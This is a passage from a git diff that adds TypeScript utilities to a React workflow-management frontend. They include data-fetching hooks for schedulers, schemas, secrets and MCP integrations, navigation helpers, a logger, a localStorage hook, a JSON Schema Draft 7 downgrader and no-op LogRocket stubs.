return false; + } + return failureCount > 3; + }, + }, + ); +}; + +export const useGetIntegrationDef = () => { + const fetchContext = useFetchContext(); + const headers = useAuthHeaders(); + const fetchParams = { headers }; + return useQuery( + [fetchContext.stack, INTEGRATION_DEF_PATH], + () => { + const path = `${INTEGRATION_DEF_PATH}`; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: + computeFetchBaseEnabled(fetchContext, headers) && + featureFlags.isEnabled(FEATURES.INTEGRATIONS), + staleTime: STALE_TIME_WORKFLOW_DEFS, + }, + ); +}; diff --git a/ui-next/src/utils/hooks/useGetSchedulerDefinitions.ts b/ui-next/src/utils/hooks/useGetSchedulerDefinitions.ts new file mode 100644 index 0000000..6bea974 --- /dev/null +++ b/ui-next/src/utils/hooks/useGetSchedulerDefinitions.ts @@ -0,0 +1,86 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import qs from "qs"; +import { useMemo } from "react"; +import { useQuery } from "react-query"; +import { IScheduleDto, SchedulerSearchResult } from "types/Schedulers"; +import { STALE_TIME_SEARCH, useAuthHeaders } from "utils/query"; + +const SCHEDULER_PATH = "/scheduler/schedules"; +const SCHEDULER_SEARCH_PATH = "/scheduler/schedules/search?"; + +export const useGetSchedulerDefinitions = () => { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, SCHEDULER_PATH], + () => { + const path = SCHEDULER_PATH; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: fetchContext.ready, + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; + +export interface SchedulerSearchParams { + start?: number; + size?: number; + sort?: string; + workflowName?: string; + name?: string; + paused?: boolean; +} + +export const useGetSchedulerDefinitionsWithPagination = ( + searchParams: SchedulerSearchParams, +) => { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, SCHEDULER_SEARCH_PATH, searchParams], + () => { + const params = { + start: searchParams.start ?? 0, + size: searchParams.size ?? 100, + ...(searchParams.sort && { sort: searchParams.sort }), + ...(searchParams.workflowName && { + workflowName: searchParams.workflowName, + }), + ...(searchParams.name && { freeText: searchParams.name }), + ...(searchParams.paused !== undefined && { + paused: searchParams.paused, + }), + }; + const path = SCHEDULER_SEARCH_PATH + qs.stringify(params); + return fetchWithContext(path, fetchContext, fetchParams); + }, + { + enabled: fetchContext.ready, + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; + +export function useScheduleNames() { + const { data } = useGetSchedulerDefinitions(); + return useMemo(() => (data ? data.map((def) => def.name) : []), [data]); +} diff --git a/ui-next/src/utils/hooks/useGetSchemas.ts b/ui-next/src/utils/hooks/useGetSchemas.ts new file mode 100644 index 0000000..fa23270 --- /dev/null +++ b/ui-next/src/utils/hooks/useGetSchemas.ts @@ -0,0 +1,31 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { useQuery } from "react-query"; +import { SchemaDefinition } from "types/SchemaDefinition"; +import { DEFAULT_STALE_TIME, useAuthHeaders } from "utils/query"; + +const SCHEMAS_PATH = "/schema"; + +export const useGetSchemas = () => { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, SCHEMAS_PATH, {}], + () => { + const path = SCHEMAS_PATH; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: fetchContext.ready, + keepPreviousData: true, + staleTime: DEFAULT_STALE_TIME, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; diff --git a/ui-next/src/utils/hooks/useGetSecrets.ts b/ui-next/src/utils/hooks/useGetSecrets.ts new file mode 100644 index 0000000..1c60c40 --- /dev/null +++ b/ui-next/src/utils/hooks/useGetSecrets.ts @@ -0,0 +1,31 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { useQuery } from "react-query"; +import { SecretDTO } from "types/Secret"; +import { STALE_TIME_SEARCH, useAuthHeaders } from "utils/query"; + +const SECRETS_PATH = "/secrets-v2"; + +export const useGetSecrets = () => { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, SECRETS_PATH], + () => { + const path = SECRETS_PATH; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: fetchContext.ready, + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; diff --git a/ui-next/src/utils/hooks/useMCPIntegrations.ts b/ui-next/src/utils/hooks/useMCPIntegrations.ts new file mode 100644 index 0000000..71acec5 --- /dev/null +++ b/ui-next/src/utils/hooks/useMCPIntegrations.ts @@ -0,0 +1,69 @@ +import { useMemo } from "react"; +import { FEATURES } from "utils/flags"; +import { useFetch } from "utils/query"; + +export const useMCPIntegrations = () => { + const integrationsUrl = `/integrations/def`; + const providersUrl = `/integrations/provider?category=MCP&activeOnly=false`; + + const { data: integrationsData, isLoading: isLoadingIntegrations } = useFetch( + integrationsUrl, + { + enterpriseApiFeature: FEATURES.INTEGRATIONS, + }, + ); + const { data: providersData, isLoading: isLoadingProviders } = useFetch( + providersUrl, + { + enterpriseApiFeature: FEATURES.INTEGRATIONS, + }, + ); + + const combinedIntegrations = useMemo(() => { + if (!providersData) return []; + + const supportedIntegrations = + integrationsData?.filter( + (integration: any) => integration.category === "MCP", + ) || []; + + const availableIntegrations = + providersData?.filter((provider: any) => provider.category === "MCP") || + []; + + // Combine both arrays with status information + const combined = [ + ...availableIntegrations.map((integration: any) => ({ + ...integration, + status: "active" as const, + iconName: supportedIntegrations.find( + (supportedIntegration: any) => + supportedIntegration.type === integration.type, + )?.iconName, + })), + ]; + + return combined; + }, [integrationsData, providersData]); + + return { + integrations: combinedIntegrations, + isLoading: isLoadingIntegrations || isLoadingProviders, + }; +}; + +export const useMCPTools = (integrationName?: string) => { + const toolsUrl = integrationName + ? `/integrations/${integrationName}/def/apis` + : ""; + + const { data: tools, isLoading } = useFetch(toolsUrl, { + enterpriseApiFeature: FEATURES.INTEGRATIONS, + when: Boolean(integrationName), + }); + + return { + tools: tools || [], + isLoading: isLoading, + }; +}; diff --git a/ui-next/src/utils/hooks/usePushHistory.ts b/ui-next/src/utils/hooks/usePushHistory.ts new file mode 100644 index 0000000..90476bd --- /dev/null +++ b/ui-next/src/utils/hooks/usePushHistory.ts @@ -0,0 +1,17 @@ +import { useEnv } from "plugins/env"; +import { useNavigate } from "react-router"; +import Url from "url-parse"; + +export function usePushHistory() { + const navigate = useNavigate(); + const { stack, defaultStack } = useEnv(); + + return (path: string) => { + const url = new Url(path, {}, true); + if (stack !== defaultStack) { + url.query.stack = stack; + } + + navigate(url.toString()); + }; +} diff --git a/ui-next/src/utils/hooks/useReplaceHistory.ts b/ui-next/src/utils/hooks/useReplaceHistory.ts new file mode 100644 index 0000000..6a323e1 --- /dev/null +++ b/ui-next/src/utils/hooks/useReplaceHistory.ts @@ -0,0 +1,17 @@ +import { useEnv } from "plugins/env"; +import { useNavigate } from "react-router"; +import Url from "url-parse"; + +export function useReplaceHistory() { + const navigate = useNavigate(); + const { stack, defaultStack } = useEnv(); + + return (path: string) => { + const url = new Url(path, {}, true); + if (stack !== defaultStack) { + url.query.stack = stack; + } + + navigate(url.toString(), { replace: true }); + }; +} diff --git a/ui-next/src/utils/hooks/useToastMessage.ts b/ui-next/src/utils/hooks/useToastMessage.ts new file mode 100644 index 0000000..ad4d46a --- /dev/null +++ b/ui-next/src/utils/hooks/useToastMessage.ts @@ -0,0 +1,21 @@ +import { MessageContext } from "components/providers/messageContext"; +import { useCallback, useContext } from "react"; +import { PopoverMessage } from "types/Messages"; + +export const useToastMessage = () => { + const { setMessage } = useContext(MessageContext); + + const toastMessage = useCallback( + ({ text, severity }: PopoverMessage) => { + setMessage({ + text, + severity, + }); + }, + [setMessage], + ); + + return { + toastMessage, + }; +}; diff --git a/ui-next/src/utils/hooks/useWorkflowNamesAndVersionsQuery.ts b/ui-next/src/utils/hooks/useWorkflowNamesAndVersionsQuery.ts new file mode 100644 index 0000000..c25417c --- /dev/null +++ b/ui-next/src/utils/hooks/useWorkflowNamesAndVersionsQuery.ts @@ -0,0 +1,25 @@ +import { useMemo } from "react"; +import { + useSharedQueryContext, + useFetch, + STALE_TIME_WORKFLOW_DEFS, +} from "../query"; +import { getUniqueWorkflowsWithVersions } from "../workflow"; + +export function useWorkflowNamesAndVersionsQuery(): [ + Map, + ReturnType, +] { + const { url } = useSharedQueryContext(); + const fetchResult = useFetch(url, { + staleTime: STALE_TIME_WORKFLOW_DEFS, + }); + + return [ + useMemo( + () => getUniqueWorkflowsWithVersions(fetchResult.data), + [fetchResult.data], + ), + fetchResult, + ]; +} diff --git a/ui-next/src/utils/hooks/useXStateEventListener.ts b/ui-next/src/utils/hooks/useXStateEventListener.ts new file mode 100644 index 0000000..11bc8df --- /dev/null +++ b/ui-next/src/utils/hooks/useXStateEventListener.ts @@ -0,0 +1,22 @@ +import { useEffect } from "react"; +import { EventObject, ActorRef, State } from "xstate"; + +function useXStateEventListener( + actorRef: ActorRef>, + eventType: TEvent["type"], + callback: (event: TEvent) => void, +) { + useEffect(() => { + const subscription = actorRef.subscribe((state) => { + if (state.event.type === eventType) { + callback(state.event); + } + }); + + return () => { + subscription.unsubscribe(); + }; + }, [actorRef, eventType, callback]); +} + +export default useXStateEventListener; diff --git a/ui-next/src/utils/httpStatus.ts b/ui-next/src/utils/httpStatus.ts new file mode 100644 index 0000000..ac0bf94 --- /dev/null +++ b/ui-next/src/utils/httpStatus.ts @@ -0,0 +1,13 @@ +export function getHttpStatusText(code: string): string { + const statusCodes: Record = { + "400": "Bad Request", + "401": "Unauthorized", + "403": "Forbidden", + "404": "Not Found", + "500": "Internal Server Error", + "502": "Bad Gateway", + "503": "Service Unavailable", + "504": "Gateway Timeout", + }; + return statusCodes[code] || "Unknown Error"; +} diff --git a/ui-next/src/utils/human.ts b/ui-next/src/utils/human.ts new file mode 100644 index 0000000..97509a1 --- /dev/null +++ b/ui-next/src/utils/human.ts @@ -0,0 +1,100 @@ +import { JsonSchema, ControlElement } from "@jsonforms/core"; +import _path from "lodash/fp/path"; +import _last from "lodash/last"; +import _isEmpty from "lodash/isEmpty"; +import { HumanTemplate } from "types/HumanTaskTypes"; +import { logger } from "utils"; + +type TypeAndFieldName = { type: string; fieldName: string; path: string }; + +export const extractFieldTypeAndName = ( + jsonSchema: JsonSchema, + uiTemplate: ControlElement, +): TypeAndFieldName | undefined => { + const path = uiTemplate.scope.substring(2).replaceAll("/", "."); + const fieldName = _last(path.split(".")); + const type: string = _path(path + ".type", jsonSchema); + if ([type, fieldName, path].some((a) => a == null)) { + return undefined; + } + + return { + type, + fieldName: fieldName!, + path, + }; +}; + +export const enumValuesForField = (path: string, jsonSchema: JsonSchema) => + _path(`${path}.enum`, jsonSchema); + +type TemplateByNameRow = Record; +type TemplateById = Record; + +export const groupedByTemplates = ( + templates: HumanTemplate[], +): [TemplateByNameRow, TemplateById] => { + if (_isEmpty(templates)) return [{}, {}]; + const [templateByName, templateByIdAcc]: [TemplateByNameRow, TemplateById] = + templates.reduce( + ( + accL: [TemplateByNameRow, TemplateById], + template: HumanTemplate, + ): [TemplateByNameRow, TemplateById] => { + const templateByNameAcc = accL[0]; + const templateByIdAcc = accL[1]; + if (!templateByNameAcc[template.name]) { + templateByNameAcc[template.name] = []; + } + templateByNameAcc[template.name].push(template); + templateByIdAcc[template.name] = template; + return [templateByNameAcc, templateByIdAcc]; + }, + [{}, {}], + ); + return [templateByName, templateByIdAcc]; +}; + +export const templatesToGroupedSingleTemplates = ( + templates: HumanTemplate[], +): [HumanTemplate[], TemplateByNameRow, TemplateById] => { + if (_isEmpty(templates)) return [[], {}, {}]; + const [templateByName, templateByIdAcc]: [TemplateByNameRow, TemplateById] = + groupedByTemplates(templates); + + const dataWithLatestVersion = Object.entries(templateByName).map( + ([, versions]: [string, HumanTemplate[]]) => + versions.reduce((acc: HumanTemplate, curr: HumanTemplate) => { + return acc?.version > curr.version ? acc : curr; + }), + ); + return [dataWithLatestVersion, templateByName, templateByIdAcc]; +}; + +const defaultValueForType = (type: string) => { + switch (type) { + case "number": + case "integer": + return 0; + case "boolean": + return false; + default: + return ""; + } +}; + +export const extractTemplatePropertiesSetDefaultValues = ( + humanTemplate: HumanTemplate | undefined, +): Record => { + if (humanTemplate?.jsonSchema?.properties !== undefined) { + const { jsonSchema } = humanTemplate; + return Object.fromEntries( + Object.entries(jsonSchema?.properties || {}).map(([key, value]) => [ + key, + defaultValueForType(value.type), + ]), + ); + } + logger.info("No properties found in template"); + return {}; +}; diff --git a/ui-next/src/utils/index.ts b/ui-next/src/utils/index.ts new file mode 100644 index 0000000..2daf71c --- /dev/null +++ b/ui-next/src/utils/index.ts @@ -0,0 +1,21 @@ +export * from "./array"; +export * from "./date"; +export * from "./flags"; +export * from "./gtag"; +export * from "./handleValidChars"; +export * from "./helpers"; +export * from "./localstorage"; +export * from "./logger"; +export * from "./logrocket"; +export * from "./object"; +export * from "./query"; +export * from "./releaseVersion"; +export * from "./roles"; +export * from "./strings"; +export * from "./task"; +export * from "./toMaybeQueryString"; +export * from "./tracker"; +export * from "./useGetGroups"; +export * from "./useGetUsers"; +export * from "./utils"; +export * from "./workflow"; diff --git a/ui-next/src/utils/json.ts b/ui-next/src/utils/json.ts new file mode 100644 index 0000000..f2103ba --- /dev/null +++ b/ui-next/src/utils/json.ts @@ -0,0 +1,586 @@ +import cloneDeep from "lodash/cloneDeep"; + +const VARIABLE_REGEX = /\$\{([^}]+)\}/g; + +export const extractVariablesFromJSON = (data: Record) => { + const extractedVariables: Record = {}; + + const processObject = (obj: Record, path = ""): void => { + for (const [key, value] of Object.entries(obj)) { + if (typeof value === "string") { + let match; + while ((match = VARIABLE_REGEX.exec(value)) !== null) { + const variableName = match[1]; + const keyName = + path !== "" ? `${path.replace(/^\./, "")}.${key}` : key; + extractedVariables[keyName] = variableName; + } + } else if (typeof value === "object" && value !== null) { + processObject(value as Record, `${path}.${key}`); + } + } + }; + + processObject(data); + + return extractedVariables; +}; + +/** + * Downgrades a JSON schema from newer versions (Draft 2019-09, Draft 2020-12) to Draft 7. + * This function: + * - Replaces $schema URI with Draft 7 URI + * - Converts $defs to definitions + * - Removes unsupported keywords (unevaluatedProperties, unevaluatedItems, etc.) + * + * @param schema - The JSON schema to downgrade + * @returns A downgraded schema compatible with Draft 7, or an empty object if input is invalid + */ +export const downgradeSchemaToDraft7 = ( + schema: Record, +): Record => { + // Defensive check: handle null, undefined, non-objects, and arrays + if (schema == null || typeof schema !== "object" || Array.isArray(schema)) { + // Return empty object for invalid inputs to maintain type safety + if (schema == null || typeof schema !== "object") { + return {}; + } + // Return as-is for arrays (they might be valid in some contexts, but not as root schema) + return schema; + } + + // Recursively check nested schema objects + const nestedKeys = [ + "properties", + "items", + "additionalProperties", + "patternProperties", + "allOf", + "anyOf", + "oneOf", + "not", + "if", + "then", + "else", + "definitions", + "$defs", + ] as const; + + const NEWER_KEYWORDS = new Set([ + "$defs", + "unevaluatedProperties", + "unevaluatedItems", + "dependentRequired", + "dependentSchemas", + "$anchor", + "$dynamicAnchor", + "$dynamicRef", + "minContains", + "maxContains", + ] as const); + + // Recursively check if schema has newer keywords anywhere (including nested) + const hasNewerKeywordsRecursive = (obj: any): boolean => { + // Defensive checks: handle null, undefined, non-objects + if (obj == null || typeof obj !== "object") { + return false; + } + + // Handle arrays with defensive checks + if (Array.isArray(obj)) { + // Check for empty arrays + if (obj.length === 0) { + return false; + } + // Safely iterate through array items + try { + return obj.some((item) => { + try { + return hasNewerKeywordsRecursive(item); + } catch { + // If processing an item fails, continue checking other items + return false; + } + }); + } catch { + // If array iteration fails, assume no newer keywords + return false; + } + } + + // Check for newer keywords at current level + try { + for (const key of NEWER_KEYWORDS) { + if (obj != null && key in obj) { + return true; + } + } + } catch { + // If keyword checking fails, continue to nested checks + } + + // Check nested schema objects + try { + for (const key of nestedKeys) { + if (obj == null || !(key in obj)) { + continue; + } + + const value = obj[key]; + + // Skip if value is null, undefined, or empty string + if (value == null || value === "") { + continue; + } + + if (Array.isArray(value)) { + // Handle empty arrays + if (value.length === 0) { + continue; + } + // Safely check array items + try { + if (value.some((item) => hasNewerKeywordsRecursive(item))) { + return true; + } + } catch { + // Continue checking other nested keys if this fails + continue; + } + } else if (typeof value === "object" && value !== null) { + if ( + key === "properties" || + key === "patternProperties" || + key === "definitions" || + key === "$defs" + ) { + // These are objects with schema values + // Defensive check: ensure value is a proper object + if ( + value == null || + typeof value !== "object" || + Array.isArray(value) + ) { + continue; + } + + try { + for (const nestedKey in value) { + // Check if property exists and is own property + if (!Object.prototype.hasOwnProperty.call(value, nestedKey)) { + continue; + } + + const nestedValue = value[nestedKey]; + // Skip null/undefined nested values + if (nestedValue == null) { + continue; + } + + if (hasNewerKeywordsRecursive(nestedValue)) { + return true; + } + } + } catch { + // If iteration fails, continue checking other keys + continue; + } + } else { + // Recursively check other object values + try { + if (hasNewerKeywordsRecursive(value)) { + return true; + } + } catch { + // Continue if recursive check fails + continue; + } + } + } + } + } catch { + // If nested checking fails, assume no newer keywords + return false; + } + + return false; + }; + + // Check if schema version needs conversion to Draft 7 + // JsonForms only supports Draft 7, so we need to convert Draft 04, 06, and newer versions + // Also ensure $schema is always set to Draft 7 for JsonForms compatibility + const schemaVersion = schema?.$schema; + const isDraft07 = + schemaVersion != null && + typeof schemaVersion === "string" && + schemaVersion.length > 0 && + schemaVersion.includes("draft-07"); + + // Check if schema has HTTPS URI which needs to be converted to HTTP + // Ajv tries to fetch HTTPS URIs, causing errors + const hasHttpsSchemaUri = + schemaVersion != null && + typeof schemaVersion === "string" && + schemaVersion.startsWith("https://"); + + // Check if downgrading/conversion is necessary before cloning + try { + // Only return early if already Draft 7 with HTTP (not HTTPS) URI and no newer keywords + // If $schema is missing or is HTTPS, we need to process it + if (isDraft07 && !hasHttpsSchemaUri && !hasNewerKeywordsRecursive(schema)) { + // Already Draft 7 with HTTP URI and no newer keywords to convert anywhere + return schema; + } + } catch { + // If checking fails, proceed with downgrading to be safe + } + + // Create a deep copy to avoid mutating the original (only if downgrading is needed) + // Try structuredClone first (native browser API), fallback to lodash cloneDeep + let downgraded: Record; + try { + downgraded = + typeof structuredClone !== "undefined" + ? structuredClone(schema) + : cloneDeep(schema); + + // Defensive check: ensure cloning succeeded + if ( + downgraded == null || + typeof downgraded !== "object" || + Array.isArray(downgraded) + ) { + // If cloning failed, return original schema or empty object + return schema != null && + typeof schema === "object" && + !Array.isArray(schema) + ? schema + : {}; + } + } catch { + // If cloning fails (e.g., circular references), return original schema + // or empty object as fallback + return schema != null && + typeof schema === "object" && + !Array.isArray(schema) + ? schema + : {}; + } + + // Replace $schema with Draft 7 URI (without HTTPS to avoid external fetch issues) + // JsonForms/Ajv will try to fetch HTTPS URIs, causing errors + try { + // Use HTTP instead of HTTPS to prevent Ajv from trying to fetch the schema + // Both URIs are equivalent for JSON Schema Draft 7, but HTTP prevents validation errors + downgraded.$schema = "http://json-schema.org/draft-07/schema#"; + } catch { + // If setting $schema fails, continue processing + } + + // Recursively process the schema + const processSchema = (objA: any): any => { + // Defensive check: handle null, undefined, and non-objects + if (objA == null) { + return objA; + } + + if (typeof objA !== "object") { + return objA; + } + + // Handle arrays - process each element + if (Array.isArray(objA)) { + // Handle empty arrays + if (objA.length === 0) { + return objA; + } + + try { + return objA.map((item) => { + try { + return processSchema(item); + } catch { + // If processing an item fails, return it as-is + return item; + } + }); + } catch { + // If mapping fails, return array as-is + return objA; + } + } + + // Create a shallow copy for processing + let obj: Record; + try { + obj = { ...objA }; + } catch { + // If spreading fails, use original object + obj = objA; + } + + // Defensive check: ensure obj is still a valid object + if (obj == null || typeof obj !== "object" || Array.isArray(obj)) { + return obj; + } + + // Convert $defs to definitions + let definitionsProcessed = false; + try { + if ( + obj.$defs != null && + typeof obj.$defs === "object" && + !Array.isArray(obj.$defs) + ) { + // Merge $defs into existing definitions if it exists, otherwise create it + if ( + obj.definitions != null && + typeof obj.definitions === "object" && + !Array.isArray(obj.definitions) + ) { + // Merge $defs into definitions, with $defs taking precedence for duplicate keys + try { + obj.definitions = { ...obj.definitions, ...obj.$defs }; + } catch { + // If merging fails, just use $defs + obj.definitions = obj.$defs; + } + } else { + obj.definitions = obj.$defs; + } + + delete obj.$defs; + + // Recursively process definitions + if ( + obj.definitions != null && + typeof obj.definitions === "object" && + !Array.isArray(obj.definitions) + ) { + try { + for (const key in obj.definitions) { + if (Object.prototype.hasOwnProperty.call(obj.definitions, key)) { + const defValue = obj.definitions[key]; + if (defValue != null) { + obj.definitions[key] = processSchema(defValue); + } + } + } + definitionsProcessed = true; + } catch { + // If processing definitions fails, continue + definitionsProcessed = true; + } + } + } + } catch { + // If $defs processing fails, continue with other processing + } + + // Update $ref values that reference $defs to use definitions instead + try { + if ( + obj.$ref != null && + typeof obj.$ref === "string" && + obj.$ref.length > 0 + ) { + // Replace #/$defs/ with #/definitions/ + obj.$ref = obj.$ref.replace(/^#\/\$defs\//, "#/definitions/"); + + // Remove external HTTP(S) references that JsonForms can't resolve + // This fixes the error: "no schema with key or ref https://json-schema.org/draft-07/schema#" + if (obj.$ref.startsWith("http://") || obj.$ref.startsWith("https://")) { + delete obj.$ref; + } + } + } catch { + // If $ref processing fails, continue + } + + // Remove unsupported keywords + const unsupportedKeywords = [ + "unevaluatedProperties", + "unevaluatedItems", + "dependentRequired", + "dependentSchemas", + "$anchor", + "$dynamicAnchor", + "$dynamicRef", + "minContains", + "maxContains", + ] as const; + + try { + for (const keyword of unsupportedKeywords) { + if (obj != null && keyword in obj) { + try { + delete obj[keyword]; + } catch { + // If deletion fails, continue with other keywords + continue; + } + } + } + } catch { + // If keyword removal fails, continue with processing + } + + // Process nested schema objects + // Configuration for different schema key processing strategies + const schemaProcessors: Record< + string, + { + type: "object" | "array" | "arrayOrSingle" | "single"; + condition?: (value: any) => boolean; + } + > = { + properties: { type: "object" }, + patternProperties: { type: "object" }, + items: { type: "arrayOrSingle" }, + additionalProperties: { + type: "single", + condition: (value) => + value != null && typeof value === "object" && !Array.isArray(value), + }, + allOf: { type: "array" }, + anyOf: { type: "array" }, + oneOf: { type: "array" }, + not: { type: "single" }, + if: { type: "single" }, + then: { type: "single" }, + else: { type: "single" }, + definitions: { + type: "object", + condition: () => !definitionsProcessed, + }, + }; + + try { + for (const [key, processor] of Object.entries(schemaProcessors)) { + if (obj == null) { + break; + } + + const value = obj[key]; + + // Skip null, undefined, and empty strings + if (value === undefined || value === null || value === "") { + continue; + } + + // Check condition if provided + try { + if (processor.condition && !processor.condition(value)) { + continue; + } + } catch { + // If condition check fails, skip this processor + continue; + } + + try { + switch (processor.type) { + case "object": + // Process object with schema values (properties, patternProperties, definitions) + if ( + value != null && + typeof value === "object" && + !Array.isArray(value) + ) { + try { + for (const nestedKey in value) { + if ( + Object.prototype.hasOwnProperty.call(value, nestedKey) + ) { + const nestedValue = value[nestedKey]; + if (nestedValue != null) { + value[nestedKey] = processSchema(nestedValue); + } + } + } + } catch { + // If processing object properties fails, continue + } + } + break; + + case "array": + // Process array of schemas + if (Array.isArray(value)) { + if (value.length > 0) { + try { + obj[key] = value.map((item: any) => { + try { + return processSchema(item); + } catch { + return item; + } + }); + } catch { + // If mapping fails, leave array as-is + } + } + } + break; + + case "arrayOrSingle": + // Process items which can be array or single schema + if (Array.isArray(value)) { + if (value.length > 0) { + try { + obj[key] = value.map((item: any) => { + try { + return processSchema(item); + } catch { + return item; + } + }); + } catch { + // If mapping fails, leave array as-is + } + } + } else if (value != null) { + try { + obj[key] = processSchema(value); + } catch { + // If processing fails, leave value as-is + } + } + break; + + case "single": + // Process single schema value + if (value != null) { + try { + obj[key] = processSchema(value); + } catch { + // If processing fails, leave value as-is + } + } + break; + } + } catch { + // If processing this key fails, continue with other keys + continue; + } + } + } catch { + // If schema processing fails, return what we have so far + } + + return obj; + }; + + try { + return processSchema(downgraded); + } catch { + // If final processing fails, return the cloned schema or original as fallback + return downgraded != null && + typeof downgraded === "object" && + !Array.isArray(downgraded) + ? downgraded + : schema != null && typeof schema === "object" && !Array.isArray(schema) + ? schema + : {}; + } +}; diff --git a/ui-next/src/utils/jsonSchema.ts b/ui-next/src/utils/jsonSchema.ts new file mode 100644 index 0000000..b320722 --- /dev/null +++ b/ui-next/src/utils/jsonSchema.ts @@ -0,0 +1,26 @@ +import { JsonSchema } from "@jsonforms/core"; +import Ajv from "ajv"; +import addFormats from "ajv-formats"; + +const ajv = new Ajv(); +addFormats(ajv); + +/** + * Validates that a given JSON Schema object is a valid draft-07 schema + * that can be used with JsonForms. + * + * @returns true if valid, or an error message string if invalid/missing. + */ +export const isJSONSchemaValid = ( + jsonSchema: JsonSchema | undefined, +): boolean | string => { + if (!jsonSchema) { + return false; + } + try { + ajv.validateSchema(jsonSchema, true); + return true; + } catch (e: any) { + return e.message; + } +}; diff --git a/ui-next/src/utils/localstorage.ts b/ui-next/src/utils/localstorage.ts new file mode 100644 index 0000000..b5e0761 --- /dev/null +++ b/ui-next/src/utils/localstorage.ts @@ -0,0 +1,49 @@ +import { useState } from "react"; +import { logger } from "./logger"; + +const optionalArg = { + parse: JSON.parse, + code: JSON.stringify, +}; + +// If key is null/undefined, hook behaves exactly like useState +export function useLocalStorage( + key: string, + initialValue: unknown, + c = optionalArg, +) { + const initialString = JSON.stringify(initialValue); + + const [storedValue, setStoredValue] = useState(() => { + try { + if (key) { + const item = window.localStorage.getItem(key); + return item ? c.parse(item) : initialValue; + } else { + return initialValue; + } + } catch { + logger.error("Cant read value from local storage"); + return initialValue; + } + }); + + const setValue = (value: unknown) => { + // Allow value to be a function so we have same API as useState + const valueToStore = value instanceof Function ? value(storedValue) : value; + + // Save state + setStoredValue(valueToStore); + + if (key) { + const stringToStore = c.code(valueToStore); + if (stringToStore === initialString) { + window.localStorage.removeItem(key); + } else { + window.localStorage.setItem(key, stringToStore); + } + } + }; + + return [storedValue, setValue]; +} diff --git a/ui-next/src/utils/logger.ts b/ui-next/src/utils/logger.ts new file mode 100644 index 0000000..fc3c8d9 --- /dev/null +++ b/ui-next/src/utils/logger.ts @@ -0,0 +1,53 @@ +import { flipObject } from "./object"; + +// This util means to replace console.log +type LogFunction = typeof console.log; + +interface Logger { + debug: LogFunction; + info: LogFunction; + log: LogFunction; + warn: LogFunction; + error: LogFunction; +} + +enum LogLevels { + debug = "debug", + info = "info", + log = "log", + warn = "warn", + error = "error", +} + +// Defines the oder +const LEVEL_ARRAY = [ + LogLevels.debug, + LogLevels.info, + LogLevels.log, + LogLevels.warn, + LogLevels.error, +]; + +const arrayAsObject: Record = Object.assign({}, LEVEL_ARRAY); +const LevelOrderObject = flipObject(arrayAsObject); + +const MIN_LOG_LEVEL_IDX = + LevelOrderObject[ + process.env.NODE_ENV === "development" ? LogLevels.debug : LogLevels.warn + ]; + +const log = (level: LogLevels) => { + const levelIdx = LevelOrderObject[level]; + return (...params: unknown[]) => { + if (levelIdx >= MIN_LOG_LEVEL_IDX) { + console[level](...params); + } + }; +}; + +const logger: Logger = LEVEL_ARRAY.reduce( + (acc, curLevel) => ({ ...acc, [curLevel]: log(curLevel) }), + {}, +) as Logger; + +export { logger }; diff --git a/ui-next/src/utils/logrocket.ts b/ui-next/src/utils/logrocket.ts new file mode 100644 index 0000000..85ff28a --- /dev/null +++ b/ui-next/src/utils/logrocket.ts @@ -0,0 +1,65 @@ +/** + * LogRocket - OSS Stub + * + * LogRocket is an enterprise-only feature. + * This file provides no-op implementations for OSS builds. + * The enterprise package has the full implementation with actual LogRocket integration. + */ + +// LogRocket is never enabled in OSS +export const isLogRocketEnabled = () => false; + +type LogRocketEvents = + | "user_complete_task" + | "user_claim_task" + | "template_import" + | "user_copy_install_script" + | "user_toggle_show_description" + | "user_created_access_key_in_metadata_banner" + | "user_first_workflow_executed" + | "blank_slate_docs_link_clicked" + | "user_recreated_access_key_in_worker_manual_install_instructions" + | "user_recreated_access_key_in_worker_orkes_cli_install_instructions"; + +// No-op: LogRocket tracking disabled in OSS +export const logrocketTrackIfEnabled = ( + _eventName: LogRocketEvents, + _eventProperties?: any, +) => { + // No-op in OSS +}; + +// No-op: LogRocket initialization disabled in OSS +export const useMaybeEnableLogRocket = () => { + // No-op in OSS +}; + +type ICaptureOptions = { + tags?: { + [tagName: string]: string | number | boolean; + }; + extra?: { + [tagName: string]: string | number | boolean; + }; +}; + +// No-op: LogRocket error reporting disabled in OSS +export const reportErrorToLogRocket = ( + _error: Error | string, + _metadata?: ICaptureOptions, +) => { + // No-op in OSS +}; + +type SimpleUserInfo = { + uuid?: string; + user?: any; + id?: string; +}; + +// No-op: LogRocket user identification disabled in OSS +export const useIdentifyUserInLogRocket = ( + _currentUserInfo?: SimpleUserInfo, +) => { + // No-op in OSS +}; diff --git a/ui-next/src/utils/maybeTriggerWorkflow.ts b/ui-next/src/utils/maybeTriggerWorkflow.ts new file mode 100644 index 0000000..e0ce5e1 --- /dev/null +++ 